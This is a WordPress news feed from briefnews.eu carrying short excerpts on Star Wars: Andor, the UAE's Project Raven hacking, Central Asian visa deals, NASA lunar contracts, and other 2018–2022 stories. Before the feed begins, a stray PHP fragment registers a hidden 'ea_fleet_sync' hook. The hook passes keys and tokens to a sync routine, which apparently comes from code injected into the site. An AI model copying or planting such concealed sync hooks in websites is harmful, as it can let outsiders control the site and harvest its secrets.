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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Toward – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 22 Sep 2022 09:12:08 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Toward – Brief News https://briefnews.eu 32 32 Andor first impressions: Star Wars inches toward the best of modern adult TV https://briefnews.eu/andor-first-impressions-star-wars-inches-toward-the-best-of-modern-adult-tv/ https://briefnews.eu/andor-first-impressions-star-wars-inches-toward-the-best-of-modern-adult-tv/#respond Thu, 22 Sep 2022 09:12:08 +0000 https://briefnews.eu/andor-first-impressions-star-wars-inches-toward-the-best-of-modern-adult-tv/
Diego Luna returns to the role of Cassian Andor in the newest <em>Star Wars</em> series on Disney+.

Enlarge / Diego Luna returns to the role of Cassian Andor in the newest Star Wars series on Disney+. (credit: Lucasfilm)

At its worst, Star Wars: Andor is a sanded-off, PG-13 version of some of the best TV dramas of the past decade. It’s easy to see traces of The Wire, Lost, and Breaking Bad in this story of Star Wars-adjacent scum and villainy. However, as you might suspect, such nuanced TV inspirations can only go so far in a franchise that regularly features chirping droids and action figure tie-ins.

At its best, though, Andor plays out like no other Star Wars film or TV entry to date, and it bodes well for the series’ post-Skywalker future. Andor flexes its adult-ish aspirations to better resemble the gritty content that has made series sidebars like comics, novels, and video games beloved. While its momentum takes a little too long to kick in, enough quality coalesces by the end of the series’ first 100 minutes to make it a worthy recommendation for fans of compelling sci-fi television, let alone Star Wars loyalists.

At Disney+, an initial release of three episodes says a lot

Trouble seems to find Cassian Andor a lot in his series.

Trouble seems to find Cassian Andor a lot in his series. (credit: Lucasfilm)

This series “follows” the events of Rogue One: A Star Wars Story the only way Lucasfilm really could: by building a prequel out of its likable anti-hero Cassian Andor. (Spoiler alert: If this series had been a direct timeline sequel to that film, it would, uh, include far fewer characters.) Since his name’s in the title, Andor features as the star, and the events rewind to both his biggest adult and childhood adventures.

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]]> https://briefnews.eu/andor-first-impressions-star-wars-inches-toward-the-best-of-modern-adult-tv/feed/ 0 Tarjimly launches translation app geared toward refugees https://briefnews.eu/tarjimly-launches-translation-app-geared-toward-refugees/ https://briefnews.eu/tarjimly-launches-translation-app-geared-toward-refugees/#respond Fri, 08 Feb 2019 03:41:18 +0000 http://briefnews.eu/tarjimly-launches-translation-app-geared-toward-refugees/

Tarjimly today launched smartphone app to translate for refugees. The app uses machine learning to recommend volunteers who speak 80 languages.Read More

]]> https://briefnews.eu/tarjimly-launches-translation-app-geared-toward-refugees/feed/ 0 UAE buys its way toward supremacy in Gulf cyberwar, using US and Israeli experts https://briefnews.eu/uae-buys-its-way-toward-supremacy-in-gulf-cyberwar-using-us-and-israeli-experts/ https://briefnews.eu/uae-buys-its-way-toward-supremacy-in-gulf-cyberwar-using-us-and-israeli-experts/#respond Fri, 01 Feb 2019 19:15:21 +0000 http://briefnews.eu/uae-buys-its-way-toward-supremacy-in-gulf-cyberwar-using-us-and-israeli-experts/
President Donald Trump welcomes Crown Prince Shaikh Mohammad bin Zayed Al Nahyan of Abu Dhabi in the Oval Office of the White House on May 15, 2017 in Washington, DC.

Enlarge / President Donald Trump welcomes Crown Prince Shaikh Mohammad bin Zayed Al Nahyan of Abu Dhabi in the Oval Office of the White House on May 15, 2017 in Washington, DC. (credit: Pool/Getty Images)

On January 30, Reuters released two investigative reports on hacking activities of the United Arab Emirates’ National Electronic Security Authority (NESA) targeting political leaders and activists, suspected terrorists, and the governments of Qatar, Turkey, and Iran. The report is the latest evidence of an ongoing cyberwar by the UAE and its ally Saudi Arabia against Qatar, and the UAE has been enlisting US and Israeli experts to help. Reuters’ sources also said that the project targeted American citizens for surveillance.

Citing documents reviewed by Reuters and eight individuals who claimed to have worked as US contractors supporting the operation (referred to as Project Raven), the report claims that Baltimore-based CyberPoint and the UAE-based firm DarkMatter—ostensibly hired to help NESA build a threat monitoring and defensive capability similar to the National Security Agency/Central Security Service National Threat Operations Center (NTOC)—also had a secret task of providing NESA with an offensive cyber capability. Some of the US citizens employed by CyberPoint and later by DarkMatter were former NSA analysts who worked at NTOC or, in some cases, NSA’s Tailored Access Operations unit.

If US contractors targeted American citizens for a foreign government by using electronic surveillance, that would be in violation of US law—and potentially fatal for companies such as CyberPoint, which has done work for the US government at the Patent and Trademark Office, DARPA, and other agencies. Ars attempted to reach CyberPoint executives for comment, but we received no response before publication. However, Ars was able to reach Daniel Wolfford, a former NSA analyst, former director of threat intelligence at DarkMatter, and now co-founder of a Dubai-based cybersecurity and cryptocurrency firm called Advanced Analysis. Wolfford strongly denied the accusation.

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]]> https://briefnews.eu/uae-buys-its-way-toward-supremacy-in-gulf-cyberwar-using-us-and-israeli-experts/feed/ 0 Forget Brexit: Central Asia Moves Toward Its Own 'Schengen' Zone https://briefnews.eu/forget-brexit-central-asia-moves-toward-its-own-schengen-zone/ https://briefnews.eu/forget-brexit-central-asia-moves-toward-its-own-schengen-zone/#respond Sat, 08 Dec 2018 08:19:48 +0000 http://briefnews.eu/forget-brexit-central-asia-moves-toward-its-own-schengen-zone/ When television producer Abduaziz Madyarov traveled between Kazakhstan and Uzbekistan with a British TV crew in November, he and his colleagues had to spend hours waiting in queues at border posts. That tortuous experience epitomized the tense relationship the former Soviet republics of Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan and Uzbekistan have had with one another since independence 26 years ago. But it’s an experience that could be on its way out.

For a quarter of a century, water, land and ethnic conflicts have poisoned ties between the five ’stans. Now, even as the U.K. pulls away from the European Union, and other countries in the bloc mull their future in it, Central Asian nations are opening up to one another, taking steps to establish what in a few years could amount to their version of a Schengen zone.

In March, Tajikistan and Uzbekistan abolished a strict visa regime that was a relic of their differences since the Tajik Civil War (1992–1997) and subsequent tensions over the Rogun hydropower project that Tashkent fears could lead to a water shortage for Uzbekistan. People can now travel between the two countries without visas.

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Then in mid-September, the first deputy prime ministers of Kazakhstan and Uzbekistan signed an agreement on the mutual recognition of visas that will effectively allow future tourists the possibility of visiting both countries if they have either’s visa. Officials of the two nations are working toward finalizing a date to launch the project. Kazakhstan has invited Azerbaijan, Kyrgyzstan and Turkey to join the project, which Kazakh senator Dariga Nazarbayeva, a daughter of President Nursultan Nazarbayev, has dubbed the “Silk Road visa.” Tajikistan and Kyrgyzstan have expressed interest in signing on to this regional visa arrangement. And even Turkmenistan, the most closed of the Central Asian nations that has not yet shown any interest in this, is now showing signs of a thaw toward its neighbors. Its president, Gurbanguly Berdimuhamedow, visited Tashkent in April, signaling a shift in previously tense relations.

It is a revolution.

Farkhad Rasulev, CEO, Dolores Travel Services

Driving many of these initiatives is Uzbekistan’s new reformist leader, Shavkat Mirziyoyev, who has made better relations with neighbors the centerpiece of his foreign policy agenda. But a history of economic struggles since independence and a geography that means all five of the ’stans are landlocked — Uzbekistan twice over — are also coalescing into a realization that regional integration is less a choice and more of a necessity, experts argue.

“I think that it is a revolution!” says Farkhad Rasulev, a CEO of Dolores Travel Services, one of Uzbekistan’s biggest tourist companies, referring to the Uzbekistan-Kazakhstan visa agreement. “We were waiting for the last 15 years.”

(The above video is from the Uzbekistan-Kazakhstan border, earlier this year. Credit: Nikita Makarenko)

The moves Central Asian nations have made this year are still only baby steps, with no guarantee of long-term success, caution experts. These moves at regional integration may also spark alarm in Moscow, where President Vladimir Putin has pulled Kazakhstan, Kyrgyzstan, Belarus and Armenia together with Russia to form a customs union called the Eurasian Economic Union (EEU). But while the EEU, formed in 2014, aims to facilitate trade between member states, it has no plans to turn the region into a common visa zone. On the other hand, strengthened integration among the Central Asian republics might leave them less vulnerable to China’s growing influence there — an outcome Russia would welcome.

Turkmenistan’s support for the visa-free norms the other four ’stans are edging toward remains unclear. Tajikistan and Kyrgyzstan still have to formally sign on to the Uzbek-Kazakh plan for a Silk Road visa. And Azerbaijan and Turkey, invited by Kazakhstan to join the project, are yet to formally respond.

“I don’t think it is a beginning of a regional integration,” says Rafael Sattarov, a Central Asia analyst with the Carnegie Moscow Center. At the moment, he says, a “few persons” are driving regional cooperation, but there’s no guarantee “that they will not make a U-turn in the middle of the road.” More than political ties, Central Asia needs stronger economic integration along the lines of Europe and the Association of Southeast Asian Nations (ASEAN), and that needs patience, he says. To truly integrate with the other Central Asian republics, Kazakhstan and Kyrgyzstan would also need to leave the EEU, and there are “very small chances” they’ll do that, he argues.

But officials working on the proposals to strengthen easy travel in the region suggest that they’re willing to remain patient. The agreement with Kazakhstan is only the “start of a process,” an Uzbek government official says, requesting anonymity. The many questions that emerge from that agreement — for instance, how Uzbekistan will treat guests from countries with visa-free arrangements with Kazakhstan — will now be answered, one at a time, he says.

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It’s no surprise that Uzbekistan is leading the move toward regional integration. It is the region’s most populous nation, and its leader is riding on a wave of popularity over a series of reform measures that have opened up the country to the outside world. Uzbekistan also has the most to lose without integration — Liechtenstein is the only other country in the world that is doubly landlocked. But its size and clout make the efforts it has started with its neighbors this year that much more realizable.

For the region, the current border regime is a “real nightmare” that needs to go, suggests Madyarov, the producer. It’s often disorganized and frequently descends into a “fight without rules,” he says. “I dream about a day when [borders] will be destroyed in Central Asia.”

There are also clear gains from softer borders for the individual nations. The agreement between Uzbekistan and Kazakhstan will drive more tourism to both nations, suggests Rasulev, since visitors can go to both on one visa. The business of “tourism is big in Kazakhstan, and all foreigners will [now] want to see historical landmarks of Uzbekistan too,” he says. In July 2018, Uzbekistan introduced $ 20 electronic visas for visitors from 101 countries as part of its efforts to promote tourism.

And the future, in many ways, only needs to learn from the past. For 70 years under the Soviet Union, there were no border posts separating the Central Asian republics, and people could move between them with relative freedom. After a quarter century of barbed wire and concrete posts dividing them, the region wants to return to that Central Asian “Schengen” they once had — without the authoritarianism of a communist state.

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Dec hosted the ITV show live alongside Holly Willoughby today as usual.

The pair were providing a link through to footage of the latest trial, which saw I’m A Celebrity…Get Me Out Of Here! campmate Harry Redknapp take on “Repvile Centre”.

The football manager had to crawl through cages that were full of reptiles.

And naturally, the presenters saw the opportunity for a political joke.

Holly began: “Before the break, Harry found himself facing a cabinet full of vicious, cold-blooded creatures ready to attack at any moment.”

Dec then cheekily jumped in to say: “Evening Prime Minister.

“I won’t keep you probably wanna get back to negotiating Breakfast, ay?”

Earlier in the show after the campmates had enjoyed a hearty breakfast, Dec started referring to Brexit as “breakfast”.

Those watching at home were tickled by Dec’s cheeky jab and took to Twitter to comment.

“Love when @antanddec says ‘Evening, prime minister’ Missed that so much #ImACeleb,” one wrote.

“EVENING PRIME MINISTER #crying #ImACeleb,” a second added.

A third chimed in: “#imaceleb I may be wrong, but I think Dec’s making fun of Theresa May.”

Dec wasn’t the only one to make a Brexit reference on the show.

The five remaining stars had one of their loved ones visit for a surprise meeting.

And while it was an emotional affair for many of them, James had a pressing question for his girlfriend Kirstie.

James asked Kirstie how Brexit negotiations were going, to which she replied “no progress”, and viewers couldn’t believe it.

One shared: “Imagine not seeing your girlfriend for almost 2 weeks and asking her ‘what’s happened with brexit’ #imaceleb.”

“‘What’s happening with brexit?’ james omg #ImACeleb,” another wrote.

While a third observed: “Only James would see his girlfriend for the first time in a month and ask about brexit #imaceleb #teamjames.”

I’m A Celebrity…Get Me Out Of Here continues tomorrow at 9pm on ITV.

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NASA Administrator Jim Bridenstine, left, and Associate Administrator Thomas Zurbuchen, right, are shown with the representatives of the nine US companies that are eligible to bid on NASA delivery services to the lunar surface.

Enlarge / NASA Administrator Jim Bridenstine, left, and Associate Administrator Thomas Zurbuchen, right, are shown with the representatives of the nine US companies that are eligible to bid on NASA delivery services to the lunar surface. (credit: NASA)

NASA announced Thursday that it has partnered with nine companies to enable the delivery of small scientific payloads to the lunar surface. No money was exchanged up front, but the space agency said these companies would now be eligible to “bid” for contracts to deliver select experiments to the Moon.

The space agency made the lunar announcement with considerable fanfare, devoting an hour-long ceremony to questions from children, an astronaut in Houston bouncing on a wire to simulate lunar gravity, and other activities.

Beneath the pomp and circumstance, however, two factors stood out. One is that the science arm of NASA, the Science Mission Directorate, is getting more involved in funding lunar science experiments through this program. “The Moon is full of secrets that we don’t know yet,” Thomas Zurbuchen, who oversees scientific activities for NASA, said Thursday. And secondly, the government is taking a concrete step toward funding commercial activities on the Moon.

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  • Resentment toward the media that has been promoted by President Donald Trump is causing local reporters and photographers to fear for their safety, so much so that The Radio Television Digital News Association has started to circulate safety and self-defense tips to members of the media. 
  • CNN reporter Jim Acosta told Trump last week to tone down his harsh rhetoric towards the media or else a member of the media was going to get hurt. Since Acosta issued his plea to the president, CNN offices have been the target of three suspicious packages resembling the ones containing mail bombs sent to high-profile Democratic leaders last week.
  • The Radio Television Digital News Association has recorded 39 incidents in which journalists were physically attacked in the US this year, including the June 28 shooting at the Capital Gazette in Annapolis, Maryland, where five people were killed. 
  • Video journalist Joshua Replogle of The Associated Press said a man kicked his camera over while he was filming in North Carolina and started punching him in the face. Replogle said that he heard one of the friends of the assailant say “fake news” during the incident. 
  • The Radio Television Digital News Association is advising news companies to curb their use of one-person crews citing safety precautions. 

NEW YORK (AP) — The hostility she’s felt from the public recently wasn’t necessarily the last straw in television news photographer Lori Bentley-Law’s decision to quit the business after 24 years, but it was one of them.

Bentley-Law’s recent blog post explaining why she was leaving Los Angeles’ KNBC-TV hit home for many colleagues. While President Donald Trump’s attacks on the media are usually centered on national outlets like CNN and The New York Times, the attitudes unleashed have filtered down to journalists on the street covering news in local communities across the country.

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  • The migrant caravan that trekked through the Northern Triangle and reached Mexico this weekend has swelled to an estimated 7,000 people, and is largely heading to the United States.
  • President Donald Trump has raged against the caravan, pinning blame in turn on Central American governments, US asylum laws, and congressional Democrats.
  • Despite Mexico’s efforts to process the migrants as refugees and halt their travel, many crossed the Guatemala-Mexico border over the weekend illegally, and decided to continue northward.

The ever-growing caravan of Central American migrants swelled on Sunday to an estimated 7,000 people, who are largely dedicated to traveling north in the hopes of reaching the United States.

The caravan first set out from Honduras on October 13 as a group of 160 migrants, but grew to a massive group after word spread. The migrants have told media outlets they’re fleeing their home countries due to crippling poverty and widespread violence.

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  • Attorney Michael Avenatti fired a warning shot in response to President Donald Trump’s tweets in which he called Avenatti’s client, adult-film actress Stormy Daniels, “Horseface.”
  • “I’m a father to two daughters … how do you tell your kids to look up to the president of the United States when he behaves in this manner?,” Avenatti said. “It’s an absolute joke.”
  • Avenatti, who has hinted at a 2020 presidential run, also took a jab at what he believed to be “wishy-washy” tactics some Democratic lawmakers have used to counter Trump.
  • “There’s only one way to deal with a bully … and that is when they punch you, you hit them back twice as hard,” Avenatti said. “He better pack a lunch.”

Attorney Michael Avenatti fired a warning shot at President Donald Trump in response to his “Horseface” insult toward adult-film actress Stormy Daniels.

“This is a disgrace,” Avenatti said during a CNN interview on Tuesday evening. “Donald Trump is the president of the United States. Never in my lifetime did I think that I would witness behavior like this from the president.”

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Warnings Issued As Hurricane Michael Plows Toward Florida

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